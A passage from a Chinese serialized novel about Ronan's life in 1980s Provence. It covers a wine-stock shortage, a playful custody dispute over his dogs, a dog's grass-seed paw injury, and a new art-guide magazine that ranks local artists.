“这个事儿我还没有来及和你说,但也是这两天突然发生的,杰罗姆和我清算完,便通知了他的朋友们自己要离去的日子,这些朋友知道斯特斯加即将交接出去,在这两天定了许多酒。” 卢卡斯和特奥同时皱起了眉头,一脸不理解。 罗南继续解释: “杰罗姆是一个非常好的人,做事靠谱还热心,在普罗旺斯结交了许多好朋友,有一部分朋友是为了给老友‘送行’,有一部分朋友想要留下些酒作纪念,我猜还有一部分是担心斯特斯加易手后品质不如从前,想要压点货,不过我和杰罗姆算过,撑不到9月,但撑到8月没有什么问题,9月新酒就要开始酿制,皮埃尔会尽可能把收获的日子提前,现在才6月,你们和客户解释解释。” 既然已经告知了客户,会有一段时间的缺货,现在只是多缺一小段日子,罗南认为问题还在可控范围内。 卢卡斯和特奥互看了一眼,脸色非常差劲: “但我们最近又谈下来一个大客户,他掌管了戛纳许多供酒渠道,可能是我们目前接触到的一笔最大的订单,这次提前回来也是想告诉你这个‘惊喜’。” 罗南跟着皱起了眉头。 又一个惊喜变成了‘惊吓’。 罗南和哥俩坐下来好好盘了一次库存,发现斯特斯加的供货危机确实提升了等级,变成了一个需要快速解决的事情。 不过罗南的心态比他们哥俩要好。 他可以向杰罗姆求助,可以去找巴黎老乡取经,实在不行,还可以在月底进行的粉红酒爱好者协会上把问题抛出来,让一屋子大佬帮他一起解决。 好不容易把斯特斯加的招牌留下,这些普罗旺斯的大人物也不想酒庄马上遇到大危机吧? “好了,这件事我会尽快解决,你们两个,今天下午什么也别干,什么也别想,去我家好好喝酒去。”罗南拉着两兄弟离开,“我去通知大伙儿都过来。” 卢卡斯笑着摇头: “你还说我抗压能力强,我看你才是心最大的那个,大难临头了还有心情喝酒。” 罗南笑着搂住特奥的肩膀: “因为你们两个回来了我开心。” 同一时间。 卢尔马兰政府。 布兰科正在组织召开这周的周会。 “听说罗南刚刚叫停了那些活动。”希尔维及时汇报了新得到的消息,“谢天谢地,罗南在我们之前制止了那些闹剧。” “罗南总是那么机智。”布兰科笑着耸肩,很快他收敛起了笑意,对一屋子人说,“但这个小插曲提醒我们——卢尔马兰该举行一场正式的官方活动了,像博尼约山羊赛跑大赛那样子的,卢尔马兰已经有了这样的实力,不要让我们的村民等待太久,尽快将这件事落实。” 第528章 抚养权争夺战 卢卡斯和特奥两兄弟从海边回到卢尔马兰,最开心的不是罗南或者那些天天找他们俩喝酒的农夫,整个卢尔马兰最开心的是两只狗。 玛格丽特和小黑终于结束了长达近一年之久的断断续续‘异地恋’,修成正果! 卢卡斯去哪里都会带着玛格丽特,这次提早回来收拾房子自然也把他的乖女儿带回来了。 担心收拾房子产生粉尘让‘女王大王’不舒服,卢卡斯主动把玛格丽特送去了罗南家暂住。 主要是去其他人家,玛格丽特不愿意。 但这一住可不得了. 当卢卡斯第二天去罗南家接狗时,玛格丽特死活不肯离开,卢卡斯越喊她跑的越远,把老父亲的心伤透了。 去年做松露实验赔得裤衩都不剩的时候,卢卡斯看起来都没有那么失落。 他盯着跟在小黑身后欢快小跳的玛格丽特,伤心的问罗南: “这可怎么办才好?玛格丽特不想回家了.” 就不该让乖女儿夜不归宿! 你看,出大问题了!! 罗南憋着笑说: “这话我可就不爱听了,我这里不是玛格丽特的家么?” 卢卡斯一脸的严肃: “我不会让她住在这里,玛格丽特从三个月起就是我亲自照顾。” 玛格丽特出身高贵,技能点点满,还是个大富婆。 以前罗南就是再心急,也不敢用强的。 谁让他儿子小黑没有什么本事呢 但现在可不一样了。 罗南想要当富二代的梦有些困难,但小黑和马赛是实打实的富家狗。 最重要的是,小黑是整个卢尔马兰最受欢迎的小公狗,对他心怀不轨的母狗多了去了。 虽然我们不会赚钱,但我们年轻啊,还受欢迎。 配玛格丽特绝对不差. 有了底气,罗南说话时也变得硬气: “小黑不到两个月就到我家了,我也不舍得让他离开我。” 卢卡斯深深叹了一口气,两只眉毛拧成麻花,似乎在琢磨如何跟罗南争夺抚养权的问题。 两只狗不容易,异地恋、年龄差、地位差都克服了,可不能因为这点小问题闹掰,斟酌了一下后,罗南很诚心的提议: “你也看到了,他们两个现在确实分不开,要不这样,玛格丽特和小黑轮流在我们两个人的家里住.你看这样行不行?” 卢卡斯很想说不,但现在确实拿不出其他解决办法,只能默许。 偶尔离开一阵子,总比永远失去宝贝女儿好得多得多。 卢卡斯一家以往只有冬天在卢尔马兰生活,这次要在卢尔马过夏季,要给家里添置一些新的东西,而且要做一次彻底大扫除,家里环境比较乱,所以最近这段日子两只狗先住在罗南家,等卢卡斯家收拾好了再搬过去住一阵子。 家里突然来了一位新成员,还是养尊处优的玛格丽特,罗南一家人的‘精神风貌’都变了。 听说玛格丽特伙食特别好,一日三餐都是卢卡斯亲自下厨,冯珍中午、晚上会特地来送饭,顿顿都有肉吃。 而非常喜欢狗的罗天海没事就往家里跑,班都不好好上了,对玛格丽特说话时温声细语的。 “我让你多休息,你死活不同意,现在为了玛格丽特你居然‘旷工’了?”罗南去餐厅找罗天海没找到,也没人能说明白他去哪儿了。 回家一看,好家伙,罗天海正在家撸狗呢。 罗南小的时候可没有这种待遇。 这么一看,自己跟从垃圾堆里捡来似的。 冯珍用嘴唇碰了碰刚带回来的肉,回怼罗南: “你又不是哑巴,饿了渴了会说,狗又不会说话,肯定要更上心。” 罗天海蹲在沙发旁边,小心翼翼的给玛格丽特梳毛: “人家卢卡斯养的这么金贵,我们自然要认真些,别回去发现哪里出问题,到时候再让他们回来住就难了。” “来,吃饭了——”冯珍端来三个大盆放到地上,“一人一份牛肉,半只鸡,一个苹果,不要抢啊。” 路过小黑时,她用力摸了两下狗头: “小黑真厉害,娶了个这么漂亮的老婆!” 正在努力扭转嘴笨性格的罗天海笑呵呵的接话: “这是我们老罗家的优良传统,所有男人都能娶到一个漂亮、优秀的老婆。” 罗南只是嘴上说说,实际他对玛格丽特最上心,在家里待着的时间也变长了。 他可太了解卢卡斯的性格了,如果养不好玛格丽特,这家伙真能做出‘棒打鸳鸯’的事来,即使另一方是罗南也不会给面子。 又由于玛格丽特和小黑‘形影不离’,罗南对小黑的关心和爱护也比之前多了许多。 聊天、陪玩、梳毛、喂零食睡觉时都恨不得抱着狗。 但这样一来,家里的‘平衡’被打破了。 小黑的性格很独立,平时安安静静的,存在感很低,但你回头,总是能发现它在不远处守候。 马赛性格粘人,平时咋咋唬唬的,存在感极高,有谁忽视了它,它好几天后还在记仇。 就比如最近,一家三口人举止的突然改变,把马赛‘气’疯了。 为什么不围着我转了? 我不是你们最疼爱的宝宝吗? 你们不爱我了!! 但马赛的性格罗南太了解了,什么绝食、装可怜、装病.影帝的表演一次次被识破。 “好了,别演了。”罗南笑着踢了一脚一瘸一拐的马赛屁股,又往它的盆里多放了一根骨头,“差不多得了啊,小黑大度,从来不跟你计较,也不争宠,你自己想想,过去这一年你收获了多少额外的关注和关心?现在多给小黑和玛格丽特一点,你就受不了了?行了别气了,快来,多吃点。” 6月的最后一周。 莉亚开始去阿维尼翁上甜品培训课。 在过去的很长一段时间里,莉亚从来没有离开过后厨,有她在妇女们心里就有了底。 虽然在过去的一段时间里,她已经提前做好了去阿维尼翁那两天的工作安排,但第一次离开,甜品区难免出现一点意外。 还好罗南早有准备,一早便待在临时甜品厨房里,将突发情况一一化解了。 “还好罗南在,要不然我这个心,总感觉七上八下的,其实也没有什么应对不了的,但就是心里没底。”妮可拉一边打鸡蛋,一边和妇女们闲聊,“所以说,莉亚真厉害啊,不止忙自己的事情,还能时刻注意着咱们手里的活儿。” “莉亚厉害的何止这一点,这个时间她应该已经在阿维尼翁给七十多个妇女上课了那个场面我想想都紧张,我可不敢去。” “咱们和莉亚的差距还远着咧。” 事实上,妇女们的能力没有什么大问题,就是没有什么自信,主心骨一离开心态上就开始紧张。 在解决这个问题上,卢尔马兰有一个人做的非常好。 罗南学着巴蒂的样子鼓励她们: “莉亚也是一步一步走到今天的,她去年是什么样子的,你们比我更加清楚,她行你们也一定可以。” 一个妇女不自信的嘟囔: “但莉亚从小做甜品就好吃,这是天赋。” 罗南笑着指自己: “我以前做饭也不好吃,你们应该听过我妈妈讲我小时候的糗事吧?鸡蛋我都做的难吃无比,其实烹饪真的是一件熟能生巧的事情,尤其你们有这么厉害的老师。” 他端起一个小盘子,里面有造型精美的杏仁巧克力: “这巧克力做的那么好吃,你们居然说自己不行?要我说,你们人人都能做老师,去教徒弟。” 事实证明,适当的夸奖确实有助于信心建立,妮可拉起到带头作用,鼓励大家: “过几个月莉亚就要去甜品店了,罗南也不可能天天待在这里,餐厅这边我们只能靠自己,所以趁着莉亚还没离开的这几个月,大家努力学习,快速进步,听到了没?” “这是肯定的,我可不能比罗南新教的那几个高中生差,我看那几个孩子也挺勤奋” “那可不,我们必须把两个餐厅好好的撑起来,让莉亚放心的去甜品店!” 维埃里有三个同学对做甜品感兴趣。 罗南考虑到未来甜品店也不能全部是年纪大的妇女,可以加入些新鲜血液。 这样体力有保障,还可以了解年轻人的世界里是否有什么新鲜的东西,可以加入到他们的甜品创作中去。 但莉亚已经没有精力再教人了,所以这个培训的工作落到了罗南的头上。 见妇女们的情绪已经轻松了不少,罗南离开了甜品厨房,傍晚那三个维埃里的同学要来,要提前做一点教学准备。 他刚一出来,见冯珍慌慌张张的跑来了: “你爸爸说马赛的腿瘸了!” 罗南头都不抬的说: “你们还不了解马赛吗?这又不是第一次了,我那天看了,脚是好的,骨头也没问题,一定是装的。” 冯珍紧张的说: “可你爸爸说,他今天回去看的时候,整个狗爪都肿了。” “什么?”罗南不敢置信的瞪大了眼睛。 卢尔马兰没有兽医,如果有谁家的动物生了无法自己医治的病,首先会去找‘动物专家’弗雷迪。 罗天海先一步带着马赛去了弗雷迪位于梅纳村郊外的屠宰场,罗南带着冯珍稍后赶到。 一进门,罗南看到马赛像没有了骨头一样,依偎在罗天海的身上,它的胸口剧烈上下起伏,眼睛微眯,只留出一点缝隙,像是得了什么不治之症。 罗南很想调侃一句,小黑遗传了家里男人的优良传统,娶到了漂亮又优秀的媳妇,而马赛‘遗传’的是母亲——琼瑶上身! 眼前的情形,好像他那天在门缝里看到的样子 但看到罗天海一脸严肃,罗南又把话憋了回去。 “脚怎么突然肿了?”罗南走过去,蹲下举起胖成了拳头的小爪子。 “突然?”冯珍在后面给罗南拆台,“你不是说几天前就发现它瘸了吗?但是你没有在意!” 罗南无力的解释: “因为这不是他第一次装瘸了,你们又不是不知道他最近在闹情绪,觉得我们把它忽视了。” 说完,他看向马赛的脚: “但我发誓,那天脚没有问题,骨头也没有问题,我真的检查过。” 带着白手套的弗雷迪对罗南耸肩: “恐怕这次,你真的误会它了。” 马赛不舒服的蹬了蹬腿,罗南赶紧把手里的爪子放下,紧张的问弗雷迪: “它病的很严重?这是什么病?危及生命了?” 马赛配合着发出一声虚弱的哼唧,感觉只剩进气没有呼气了,冯珍的眼眶‘唰’的一下就红了。 “哦哦,那没有,那没有。”弗雷迪脱下手套,“它只是踩到了野草籽,那可是普罗旺斯最让人头疼的东西。” “什么东西?”罗南一家三口异口同声的问。 对弗雷迪嘴里蹦出来的这个单词非常陌生。 弗雷迪耐心的解释: “夏季地上有许多草籽,有一种小野草籽带刺,形状尖尖的,正好可以穿透狗爪的软皮,爪子被刺到时,狗并不觉得痛,就像被针刺到一样,伤口要过几小时才发作,但可恨的是野草籽钻进狗爪里便不见了,只在表皮留下一个微小的刺孔,狗开始一瘸一拐,可主人就是找不到原因。” 他忍俊不禁的看着罗天海怀里的马赛: “如果不走运的话,它们的爪子甚至整个下肢都会肿大,我看不了这种病,你们需要带它去梅纳村看兽医,再做个手术。” 冯珍一嗓子嚎出来: “手术?那么严重?!” 冯珍觉得严重是因为弗雷迪无法医治,她觉得情况很严重。 实际情况只是因为弗雷迪这里没有麻药,他怕‘影帝’马赛嚎叫声太大,吓到屠宰场里的羊。 在马赛做微创小手术的过程中,冯珍和罗天海轮番指责了罗南的粗心大意,认为是他影响了马赛的最佳治疗时机。 罗南和去年一样百口莫辩。 只能低头无声叹气。 最无语的是,罗天海和冯珍开始跟罗南争夺起了马赛的抚养权。 “我对玛格丽特什么样子你们是知道的,论细心我绝对不差,这只是一次意外。”罗南努力辩解,“我可以养好它。” 罗南给出的理由无法反驳,因为他确实对玛格丽特非常细心,冯珍开始扯别的: “但我们离不开它,尤其是你爸爸,是不是天海?” 罗天海和老婆完美配合: “对,马赛是我从小拉扯大的,我离不开它。” 罗南差点气笑了,摇头说: “我也离不开它,小黑之后要两边住,我和佐伊未来只有这一只狗了,你们把它带走,我们怎么办?” 小黑的抚养权有人和他争。 现在马赛的抚养权也有人惦记了他可太难了。 “那我们没有狗了,怎么办?”冯珍理直气壮的问。 在一旁看了半天戏的弗雷迪给出了一个解决办法: “7月份梅纳村要举行普罗旺斯最大型的狗展,要不然你们去那里看看?运气好的话,说不定能遇到像玛格丽特一样的精品犬。” 第529章 果然没让我失望,还是那么‘靠谱\’ 罗天海和冯珍不是说说而已,他们真的动了和罗南抢马赛抚养权的心思。 在梅纳村的兽医处做完手术,马赛成了家里的‘皇帝’。 渴了饿了有人送饭送水,只要一哼唧老两口马上就会过去送上关心。 当然了,过程中会不断提起要让马赛跟着他们生活的话题。 “等7月底去梅纳村狗展看看,给你们买一只新狗从小养吧?”罗南劝说父母,“马赛就留在我这里,它从小和小黑一起长大,离开哥哥会不习惯的。” “小黑未来也不全是在你这住啊。”冯珍把马赛的爪子放到大腿上,小心翼翼地给它上药,“你去买新狗吧,马赛跟着我们。” “不着急决定,到时候看看。”罗南不想态度太过强硬。 罗天海吹了吹马赛刚涂完药的伤口: “就这么决定吧,马赛跟着我们,正好它和呼呼不对付,让它们分开挺好的。” 其实马赛跟着谁住不是什么要紧的大问题。 即使去了商业街生活,罗南也能天天见到它,跟现在区别不大。 不过通过‘争夺抚养权’事件,罗南发现了一个问题。 罗天海认为,冯珍前一阵子出现自卑心理是因为太闲了,没什么事情做,天天就会瞎琢磨,要给她找点事情做以解决问题。 罗南认为,父母盯上了马赛的抚养权也是因为太闲了,要是他们每天忙的不可开交,或者找到了其他感兴趣的东西,怎么可能还有心思和他抢狗呢? 要知道,他那‘勤劳’的母亲从来没有早起过一次去遛狗,罗天海也是最近这段日子才有时间把心思放在狗的身上,过去一年一直是罗南在照顾那对狗兄弟。 不过这情况也是罗南造成的。 在过去的半年中,是他在刻意的给父母减负,希望他们渐渐从忙碌的工作状态中脱离,进入颐养天年的退休状态里。 现在还和罗南住在一起,他们无聊了可以在儿子身上使劲。 下个月罗南结婚了,罗天海和冯珍就要搬去商业街住,没有了儿子在身边,老两口寄希望用马赛来排解寂寞。 所以重要的不是狗,而是‘寂寞’的问题。 罗天海的情况稍好一些。 过不了一两个月,他就要投入大量精力去装修和筹备商业街上的新餐厅,得忙一阵子了,寂寞只是暂时的。 而冯珍未来还是相对较‘闲’,等罗天海也忙起来,她不仅会寂寞,可能那个自卑的心理也有‘卷土重来’的可能性。 “当务之急还是要给两位老人找点感兴趣的事情。”罗南抓住了关键,“尤其是妈妈,除了排解寂寞,最好还能树立起她的自信心。” 他在这个月稍早一些就开始做这件事。 罗南希望能帮助冯珍找到一件,她既感兴趣,又能消耗时间,还不太累的事情做。 80年底末信息闭塞,罗南所熟悉的爱好冯珍也都不感兴趣。 为了找到新鲜又好玩的东西,那个时候他通过频繁的翻看报刊和杂志找灵感,只是后来去参加了山羊赛跑大赛,紧接着又忙了一阵子斯特斯加的库存清扫,把这件事给搁置了。 现在,是时候将事情重启。 罗南一家订了普罗旺斯当地的两份报纸和一份天气预报,每周邮差特雷西会在特定的日子里将报纸送到他们家门口的信箱里,但杂志要出去买,而且在卢尔马兰买不到杂志。 这一天,罗南给维埃里的三个同学上完甜品课,离开了餐厅,开车去梅纳村买杂志,那里是距离卢尔马兰最近的有杂志卖的村子。 正在村门口做绿化建设的希尔维见到罗南开车出去,好奇的将他拦了下来: “去干什么?” 罗南摇下车窗,将胳膊架到车门上: “去梅纳村买杂志,想找点东西。” “啊,杂志啊,那确实要去梅纳村。”希尔维面色一喜,“不过最新一期的商业街上,将开设烟草报刊亭,新开的药店里可能也会有一部分杂志售卖,哦,对了对了,还有书店!再过几个月你就可以在卢尔马兰买杂志了,而且是好几个地点。” 在1987年的吕贝隆,烟草店是杂志报刊最官方经销点,而不是在大城市里比比皆是的报刊亭。 如果是大一点的烟草店,里面可能还会有咖啡和酒售卖。 另一个可以买到杂志的场景是药房,那里提供健康类型的杂志给等候的人免费阅读,也会售卖一些日期比较新的。 还有另外一个可以买到杂志的地方是书店,学术性的杂志只能在这里找到,烟草店可不会卖这么小众的类型。 而以上几个店铺,接下来会同时出现在卢尔马兰村。 听到希尔维的介绍,罗南不由得好奇起了新的商业街是什么样子的,正好希尔维负责这部分业务工作: “新的商业街有多大?现在招商情况怎么样了?” 希尔维走到罗南的身旁,自豪的介绍: “二期和三期加一起是一期规模的四倍,全部租出去了。” 新的商业街每天叮叮咣咣的,但那里杜绝外人靠近,主要是担心游客路过不小心受伤,罗南从来没过去看过。 “四倍?那么大吗?”罗南憧憬的说,“现在的一期规模就挺大了啊。” “当然大了。”希尔维眉飞色舞的样子像是在介绍自己的孩子,“有四十多个商铺,不大怎么能装得下那么多东西?” 希尔维的自豪也是人之常情。 卢尔马兰不仅在建设二期三期商业街,同时还在修建学校、医院、礼堂和可以城建大型活动的活动中心。 这些重要建筑都将在一年之内出现在卢尔马兰村内! “四十多个商铺都租出去了?”这下子罗南更吃惊了。 “不到一个月就租出去了!”希尔维想到什么,提醒罗南,“你记得9月之前去政府把合同签了。” 说完,她悄悄眨了几下眼睛: “这次跟一期一样,也是租买都可以,我们准备了非常‘优惠’的政策,绝对比你上一次买时还划算,而且布兰科给你留下的是地理位置最好的三个!” 提到买商铺,罗南便没有了太多聊天的心情。 他刚斥巨资买了10公顷森林,哪里还有钱买商铺? 不过好消息是,还有时间再筹筹钱。 但即使又存了两三个月,罗南猜他也没有能力把三个商铺全部买下来。 “到时候看吧,能买几个买几个,剩下的先用租的。”他如是安慰自己。 时间不早,罗南和希尔维告别,继续前往他的目的地梅纳村。 希尔维本已经离开,但突然又跑了回来,对着罗南的车尾连连挥手: “等一等,等一等罗南!” 罗南赶紧踩刹车,回头问她怎么了。 希尔维跑过来,压低声音偷偷摸摸的说: “布兰科要在卢尔马兰举办一个大型活动,我们最近正在策划主题,我清楚布兰科会更加倾向能对你的几个业务有帮助的活动主题,所以你有什么想法,随时和我沟通,活动类型不受限制。” 罗南点头,答应下来: “明白,我好好考虑一下,过几天去政府找你。” 梅纳村的配套和此时的卢尔马兰比就先进多了。 这里不仅有书店、烟草杂志店和药店,除了药店另外两个类型还不只有一个。 罗南的第一站选择的是药房。 母亲冯珍对美容、养颜和健康类型的话题非常感兴趣,罗南对药房里的杂志寄予厚望。 闷热的天气影响了吕贝隆居民看病的热情,去年要排很久才能拿到药,今天窗口前居然没有一个等着取药的人。 窗口后面坐着的依然是那对让罗南非常熟悉的组合——老少搭档。 罗南主要是对那位年长的女医生印象深刻。 因为这人曾当着许多人的面,热情的教罗南如何使用栓剂。 罗南今天的目的不是来拿药,而是翻看等候区的杂志,因此没有过去和她们叙旧的打算。 但遗憾的是,他在药房等候区没有看到任何一本杂志。 本着来都来了的心态,罗南去窗口问: “您好,请问健康杂志是卖完了,还是全部被借走了?” 年轻的女医生低头不知道在看什么。 但谢天谢地的是,那位年长的女医生依然热情: “哦,是你啊小伙子。” 罗南的表情有些尴尬,显然他这个差点把栓剂吃了的‘可爱’小伙子给对方留下了深刻的印象。 “是的,是我,但我今天不是来开药的。”罗南低下头,通过窗口和那位热情的女医生眼神交流,“我是来买杂志的。” 那名医生表情有一刹那的错愕: “你来这里开过药吗?我只记得你送来的蘑菇挺好吃。” 罗南:“.” 他差点忘记了,原来和这位女医生不止有过一次交集。 去年,他去山上采皮埃尔口中普罗旺斯最美味的蘑菇——‘法国小百合’,因为没人见过吃过,系统的知识也还没跟上,所以他曾送来这里的药店鉴‘菇’。 每到了吃蘑菇的季节,吕贝隆的药店就会提供这项免费的服务。 是这位热心的医生,用自己的舌头鉴别出了结果——这蘑菇没有毒。 “您喜欢就好。”罗南尴尬的回应。 普罗旺斯妇女有一种神奇的魔力。 当她想聊一个话题,且没有聊满意之前,对方即使使出吃奶的力气,也休想将话题转换到其他方向去。 “那个蘑菇叫什么?让我想想你是几月份采到的?快了是不是?哎呀那东西真鲜美啊,我上次熬汤放了一点点就香的差点咬掉了舌头。哎你说,它做成焗饭或者披萨能好吃吗?你试过吗?” “真遗憾,我去年也是用它熬汤了。”罗南哭笑不得的回应,“不过今年我一定尝试着将它制作成其他美食。” “你今年还要去采?”那名医生眼睛亮亮的。 罗南笑着说: “是的,采到了我一定会给您来尝尝。” “哎呀,真是个可爱的小伙子。”年长医生心满意足的问,“对了,你刚刚问什么来着?杂志是不是?” 罗南连连点头: “对,我想买健康类型的杂志。” “太不巧了孩子。”女医生露出失落的表情,“最近几周,我们只收到了三本杂志,你知道的,巴黎发行的杂志到梅纳村要经过四五次中转,每中转一次数量就会缩减一大部分,毕竟吕贝隆像你这样在意身体,知道关注健康杂志的人并不多,即使这里的居民有着法国最高的肝病发病率,他们也认为自己健康得很。” 普罗旺斯人吃的健康,生活也较为有规律。 但是酗酒和无底洞的胃,让他们非常容易得肝脏疾病。 罗南实事求是的说: “是给我妈妈买的,她比较在意健康问题。” “哦,真是个孝顺的孩子啊。”罗南的话激起了年长医生的母性心理,她在手边翻找起来,“不要让你妈妈失望,我记得这里还有一本,至少拿点东西回去,她一定会开心。” 这位女士的热情超过了罗南的预期,她翻翻找找了一分多钟,终于从窗口里递出来一本印刷精美的小册子: “喏,这个应该能帮助到你。” 罗南接下了那本册子: “真是太感谢您了。” 离开药房,罗南迫不及待的打开了这本杂志,想要看看里面有没有什么可以让他灵感爆发的信息。 但是越看越不对劲。 这似乎不是杂志,而是一本健康宣传册。 反正都是找灵感,罗南没有挑剔,尤其他记得那人说,把它带回去,他妈妈一定会开心,于是直接翻开了第一页。 映入眼帘的,是一只坐在马桶上的金毛犬漫画图。 这只金毛看起来有些郁闷,一副坐了很久,但没有什么结果的苦闷样子。 它的眼睑低垂,目光黯淡。 而在这张配图的下面,赫然写着几个大字——便秘的危害。 罗南把那本便秘健康手册合上,当作扇子扇了起来: “果然没让我失望过,还是那么‘靠谱’。” 这东西拿回去母亲会开心? 我真是谢谢你了! 药店没有收获。 罗南第二站去了书店。 书店里的杂志种类就很多了。 除了一些小众的专业领域杂志,还有娱乐、八卦、电影和体育这些大众类别。 罗南打算每个类型都买点,实在不行放在家里,看看妈妈首先翻看的是哪本。 之后再根据类型,寻找能让她参与其中的事情。 “这个,这个,这个,这个还有这个,都帮我拿一本。”罗南在货架上不停指指点点。 突然,他在众多杂志中看到了一本意想不到的杂志——《普罗旺斯艺术指南》 “这个,还有这个!”罗南指着《普罗旺斯艺术指南》说。 “好的,这个也帮您拿一本。”老板伸手取了一本下来。 “不是一本,你这里有多少本我全包了。”罗南兴奋的说。 他要把《普罗旺斯艺术指南》放在编织大院里,来往的游客全部可以看到他和巴蒂的排名。 等等,既然已经发刊. 那编织生意是不是要因此受益了?! 第530章 再见吧,隐私! 吕贝隆腹地的居民文化水平普遍不高。 上过高中的人就算是高学历,年纪较大的人情况更差。 战争期间,吕贝隆山区学校大量关闭,儿童被迫务农或躲藏。 1945年后政府优先重建城市,吕贝隆乡村校舍短缺的问题一直持续到1950年代末才有所缓解。 那十几年间,部分儿童需要步行两个多小时山路到邻村上学,辍学率极高,可以说有一整代人都没有受到过良好的教育。 其中最严重的就是高龄妇女。 卢尔马兰有很大一部分妇女只能拼对自己和家人的名字,看药物说明书都无法独立完成。 很不巧,这些有读写障碍的妇女现在都在卢尔马兰手工艺合作社里。 不过即使妇女们有很严重的读写障碍,还是不舍得放下罗南带来的杂志。 罗南把梅纳村能够买到的所有《普罗旺斯艺术指南》全部包圆,带回到编织大院里,并用一整个螺旋铁架安置它们。 得知这本杂志里介绍了许多编织的内容,今天来大院干活的妇女都会拿起来瞧一瞧。 “罗南居然在这么靠前的位置?波热,快给我念念这上面写了什么?” “亲爱的巴蒂,不要伤心,在最后一个很好啊,那会吸引更多人注意到你,在中间的反而更容易忽视,你来给我读读,这里是如何介绍你的?” “虽然看不懂单词,但我看的清图片,这杂志里有好几张编织家具的照片呐!” “哎呀,这杂志怎么还香香的咧?” 妇女们对杂志爱不释手,有很大一部分原因是由于《普罗旺斯艺术指南》里有大量的照片,不是密布的文字,可以很轻松的找到熟悉的罗南、巴蒂和佐伊。 除了熟悉的人,杂志里还有许多诱人的照片。 从前往后看,从后往前看,从中间开始看随处可见拍摄精美的香水广告。 而香水的品牌,无一例外是普罗旺斯赫赫有名的福克斯家族旗下的。 为了让《普罗旺斯艺术指南》开个好头,伊内斯多次亲自前往格拉斯和福克斯家族交涉,并且推出了一种为其定制的商业合作模式——杂志内页用福克斯家族当季主打的香水喷过。 如果购买了杂志的读者对这种香味感兴趣,可以凭借杂志附带的‘优惠券’,以更加优惠的价格买到心仪的香水。 一本杂志是否成功,除了销量数字,还要看赞助商是否知名和大牌。 销量呢,罗南不得而知。 但看到这么多香水的照片,罗南知道从商业角度看《普罗旺斯艺术指南》一定成功了。 当然,广告并不是这本杂志最核心的内容。 最核心的,是效仿米其林推出的——普罗旺斯艺术家排名。 在这一点上,米切兰杂志社没有和读者卖关子。 杂志的第一部分正式内容便是盘点排名,在之后的整整24页里,读者看到的全部是‘名人’的照片和他们的介绍。 看照片的人,有看照片的乐趣。 看单词的人,有看单词的乐趣。 在妇女们讨论哪个香水照片看起来最诱人、自己是否有钱买下它们、巴蒂的照片比本人更加好看等话题的同时,罗南已经读完了许多艺术家介绍。 不得不承认,米切兰杂志社在收集信息这方面太专业了,怪不得伊内斯被人称呼为‘普罗旺斯百事通’。 他们推出的《密法尔指南》中,连餐厅老板和妻子的关系是否融洽都会提及。 而在《普罗旺斯艺术指南》的艺术家介绍中,罗南看到的信息更加‘详细’。 哪位艺术家的孩子没有继承父亲/母亲的艺术细菌,连鸡蛋都画不圆、某某雕刻大师喜欢在自家游泳池戏水时朗诵莎士比亚的诗句、国际钢琴家的后院设计‘借鉴’了德国画家作品的灵感等等.只有想不到,没有米切兰杂志社不知道。 罗南脑海里只有一个声音——再见吧,隐私! 而这些‘私密’的小道消息,又恰恰是八卦的普罗旺斯人最感兴趣的东西所以罗南猜,这本杂志在普罗旺斯本地的销量一定不会差,就像本地人家里都会有一本《密法尔指南》似的。 不过谢天谢地的是,他和佐伊的艺术家介绍非常官方和正式,不涉及任何隐私信息,哪怕一丁点都没有。 大概是因为伊内斯不想浪费笔墨,而想把更多的文字放在夸赞这两位新星的优秀品质上。 佐伊的艺术家排名在罗南之前。 罗南先看到的是这部分。 开篇写道,佐伊是一位非常有爱心、不失童趣又天赋满满的可爱女子。 第一行看起来没有什么问题,这确实是佐伊,但往下看就开始不对劲了。 杂志里说每天早上,她会和在窗口停歇的小鸟说早安。 她喜欢坐在葡萄藤秋千上倾听大自然的声音,并将其视为馈赠。 还曾用陶土制作出临时窝点,安置迷路的小猫头鹰。 《普罗旺斯艺术指南》将佐伊的工作室描绘成了一个神奇魔法城堡,说里面有许许多多的好玩工具,因此在那里工作她可以制作出一个个带着灵性和生命的动物作品。 罗南的描述部分就更加夸张了。 杂志里说,罗南是一个天赋和努力并存的艺术家,而且才华横溢。 每天他都会强迫自己想出一个艺术灵感。 不到一年的时间,罗南卧室里堆积的设计灵感手稿足足高两米,没错,罗南就是这么努力。 他给自己安排的休息时间,是去接触和了解其他的艺术品类,编织就是在他闲暇之余发展出来的兴趣。 这个兴趣上升到了‘专业’的高度,可见罗南天赋异禀。 而且罗南不仅会编织,还自学了绘画、雕刻、吉他和手风琴。 如果有机会和罗南见上一面,你会发现罗南和所有人都能有共同话题,因为他就是这样一个有趣的人。 “还好这些妇女看不懂单词。”罗南红着脸咕哝。 这tm是我? 我怎么不知道我会吉他和手风琴? 总之,和其他艺术家的介绍相比,佐伊和罗南的介绍中处处体现着他们‘关系户’的本质。 即使没听过罗南和佐伊名字的读者,只是读了这些文字,也一定会‘爱’上他们。 由此可见,伊内斯想要捧他们的决心有多坚定! 一道兴奋的声音打断了罗南的思绪。 “罗南,这里面给了一副艺术地图!”巴蒂指着杂志中的一页给罗南展示,“你看啊,你、我还有佐伊的名字都出现在了卢尔马兰的范围里,这样读者就可以很轻易的找到我们了!” 巴蒂看的比罗南快。 他没有耐心看大段大段的文字,看完描述自己的部分,就去杂志里找美女照片了。 翻着翻着,找到了这张‘艺术地图’。 伊内斯曾经给罗南介绍过《普罗旺斯艺术指南》创刊号里的版面信息,但未曾提及过这张地图的存在。 这样看来,她推迟了发刊的日子,可能就是为了这处改动。 “这对我们太重要了。”罗南拿仔细打量那张不一样的普罗旺斯地图,“我们有实体店,而这张地图就是指引。” 《普罗旺斯艺术指南》和《密法尔指南》的性质不同,写餐厅的时候难免会带出地址和位置,但艺术家排名更侧重的是艺术家的个人情况信息,在里面提及工作室、画室或者其他地点信息太奇怪了。 这份普罗旺斯艺术地图正好弥补了这份位置的缺失。 如果读者对罗南和巴蒂感兴趣、如果对编织家具的照片感兴趣、如果对‘荆棘烈阳’认证感兴趣,可以来地图上的卢尔马兰碰碰运气。 伊内斯做这个改动的初衷肯定不是为了罗南,但这个改动一定会让罗南成为最大的受益人。 “大家,拿着杂志跟我走!”罗南兴奋的站起来对妇女们喊,“咱们今天聚餐去。” 编织大院的生意始终不错,妇女们的聚会计划久久没有成形。 巴蒂指了指室内正在参观的游客,又指了指二楼的窗户: “现在不行,有客人在看东西,还有人排队上体验课呢,最近太忙了,等等再去。” 罗南合上杂志,在手掌上用力拍了一下: “等?等到什么时候?接下来只会越来越忙,不等了,就今天吧,留几个人晚些走,其他的人跟我去餐厅。” 